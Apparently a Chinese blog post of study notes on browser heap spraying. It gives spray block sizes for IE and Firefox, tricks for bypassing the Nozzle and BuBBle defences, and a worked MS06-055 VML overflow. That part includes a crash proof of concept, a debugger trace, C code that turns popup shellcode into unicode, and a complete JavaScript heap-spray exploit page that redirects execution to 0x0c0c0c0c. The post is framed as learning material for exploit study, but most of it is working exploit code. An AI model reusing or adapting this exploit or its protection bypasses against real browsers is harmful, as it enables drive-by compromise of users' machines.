• HeapSpray学习 多用于网页溢出


    很多返回地址 存在这样一种情况:

    不同主机 不同路径。

    导致在覆盖时无法确定返回地址

    那么你去覆盖时 不能准确的覆盖上返回地址  导致溢出失败

    1  使用按字节相同的双字跳转

    2 使用堆中的地址

    下面引用 riusksk大牛的话:

    1、堆喷射堆块大小 ≈ 程序堆块分配大小,以减小堆空隙大小。
     
    2、不能使用堆缓存块,否则可能破坏地址的可预测性,可通过申请6块相应大小的堆块来清空缓存。
     
    3、精确定位ROP地址,目标地址如0x0c0c0c0c至堆块数据起始地址的offset = ( 0x0c0c0c0c - UserPtr(堆数据起始地址))/2,IE7:0x5FA,IE8:0x5F4/0x5F6,IE9:0x5FC/0x5FE,Firefox9:0x606,可能不同语言版本会存在偏差。
     
    4、不同系统、不同浏览器版本喷射块大小:
    XP SP3 – IE7    block = shellcode.substring(2,0x10000-0×21);
    XP SP3 – IE8    block = shellcode.substring(2, 0x40000-0×21);
    Vista SP2 – IE7  block = shellcode.substring(0, (0x40000-6)/2);
    Vista SP2 – IE8  block = shellcode.substring(0, (0x40000-6)/2);
    Win7 – IE8    block = shellcode.substring(0, (0x80000-6)/2);
    Vista/Win7 – IE9  block = shellcode.substring(0, (0x40000-6)/2);
    XP SP3/VISTA SP2/WIN7 - Firefox9  block = shellcode.substring(0, (0x40000-6)/2);
     
    5、Nozzle保护机制(IE):检测是否存在重复可转换成汇编代码的字段,若存在则阻止其内存申请。
     
    6、BuBBle保护机制(Firefox):检测JavaScript是否尝试重复申请 NOPs + shellcode (padding + rop chain + shellcode + padding)的内存块,若发现包含这些字段则阻止其内存申请。
     
    7、分配 随机数 + rop + shellcode + 随机数 的堆块,以保证各分配块都是不同的,以此绕过上述保护机制,主要针对IE9。
     
    8、利用随机变量名 + 随机块绕过 Firefox9 的保护。
     
    9、HTML5 Heap Spray:EUSecWest2012上的演讲主题,通杀Chrome、Firefox、IE9和Safari
    a、利用canvas标签定义图形,通过脚本控制每个像素的数据再进行喷射;
    b、利用Web Worker的多线程功能,加速堆喷射过程,但IE不支持Worker。 


    通过 WINDOWS 2000 IE 5.X 的MS06-055漏洞利用学习:

    cgx.dll  IE溢出的核心组件  

    <html xmlns:v="urn:schemas-microsoft-com:vml">
    <head>
    <title>failwest</title>
    <style>
    <!--v:* { behavior: url(#default#VML); }-->
    </style>
    </head>
    <body>
    <v:rect style="44pt;height:44pt" fillcolor="black">
    <v:fill method="QQQQ"/> <!-- 这里是通过 没检测method 字符串的长度 导致溢出-->
    </v:rect>
    </body>
    </html>
    
    IDA  看到  TEXT  函数 得到地址  不用这步也行

    659D7BAB     E8 3AFFFFFF      call vgx.659D7AEA
    659D7BB0     85C0             test eax,eax
    659D7BB2   ^ 75 DB            jnz short vgx.659D7B8F
    659D7BB4     83FE 02          cmp esi,2
    659D7BB7     7F 05            jg short vgx.659D7BBE
    659D7BB9     83FF 03          cmp edi,3
    659D7BBC     75 05            jnz short vgx.659D7BC3
    659D7BBE     BF 03000040      mov edi,40000003
    659D7BC3     8B45 FC          mov eax,dword ptr ss:[ebp-4]
    659D7BC6     8938             mov dword ptr ds:[eax],edi  	运行到这里  报错eax指向我们的赋值字符串
    
    弹出窗口的   JS  的 shellcode .txt  生成:
    #include <stdio.h>
    FILE * fp=NULL;
    void A2U(unsigned char * ascii, int size)
    {
    	int i=0;
    	unsigned int unicode = 0;
    	
    	for(i=0; i<size; i+=2)//read a unicode
    	{
    		unicode = (ascii[i+1] << 8) + ascii[i];
    		//printf("\u%0.4x", unicode);
    		fprintf(fp, "\u%0.4x", unicode);
    	}
    }
    void main(int argc, char **argv)
    {
    	char popup_general[]=
    		"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    		"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    		"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    		"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    		"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    		"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    		"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    		"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    		"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    		"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
    		"x53xFFx57xFCx53xFFx57xF8";
        if((fp=fopen("unicode_shellcode.txt","w"))==NULL)
    		exit(0);
    	A2U(popup_general, strlen(popup_general));	//ASCII 到UNICODE的转换
    	fclose(fp);
    }
    

    利用 POC代码:

    1) 申请1MB且全部被0x90填满的内存块

    2)游戏JAVA会为申请的的内存填上一些额外的信息,为了保证内存恰好是1MB  我们将这些额外的空间减去

    32 bytes 堆块信息

    4 bytes 字符串长度

    2 bytes 字符串结束符两字节的NULL

    最后是 shellcode的长度

    最终我们使用200个这种形式的内存片来覆盖堆内存 只要其中任意一个NOP区能够 覆盖 0x0c0c0c0c 攻击就可以成功

    一般在使用 Heap Spray 的时候一般会将EIP指向堆区的0X0C0C0C0C位置  然后JS申请大量内存 并用包含0X90+shellcode内存片去覆盖这些内存

    <html xmlns:v="urn:schemas-microsoft-com:vml">
    <head>
    <title>failwest</title>
    <style>
    <!--v:* { behavior: url(#default#VML); }-->
    </style>
    </head>
    <script language="javascript">
    var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6577u7473u6668u6961u8b6cu53c4u5050uff53ufc57uff53uf857";
    var nop="u9090u9090";
    while (nop.length<= 0x100000/2)
    {
    	nop+=nop;
    }
    
    nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
    var slide = new Array();
    for (var i=0; i<200; i++)
    {
    	slide[i] = nop + shellcode;
    }
    
    </script>
    <body>
    <v:rect style="444pt;height:444pt" fillcolor="black">
    <v:fill method="很多的 &#x0c0c;&#x0c0c; 相连接,确保覆盖我们的返回地址   ,函数返回后 跳去 堆区的  0x0c0c0c0c 取值执行 ,恰好遇到我们申请的其中一块内存堆,在经过大量的NOP后 执行我们的shellcode  "/>
    </v:rect>
    </body>
    </html>
    
    原理  类似 盲打   大量的盲打  提高命中率









  • 相关阅读:
    checkedListBox的具体用法
    pi
    从1.9G到64K
    世界编程大赛第一名程序
    SQLServer中导入/导出Excel的基本方法
    Android 内存优化测试
    android,内存优化详解
    Android解决大图片内存溢出
    Android有效解决加载大图片时内存溢出的问题
    android端读取本地图片出现OutOfMemoryException
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982547.html
Copyright © 2020-2023  润新知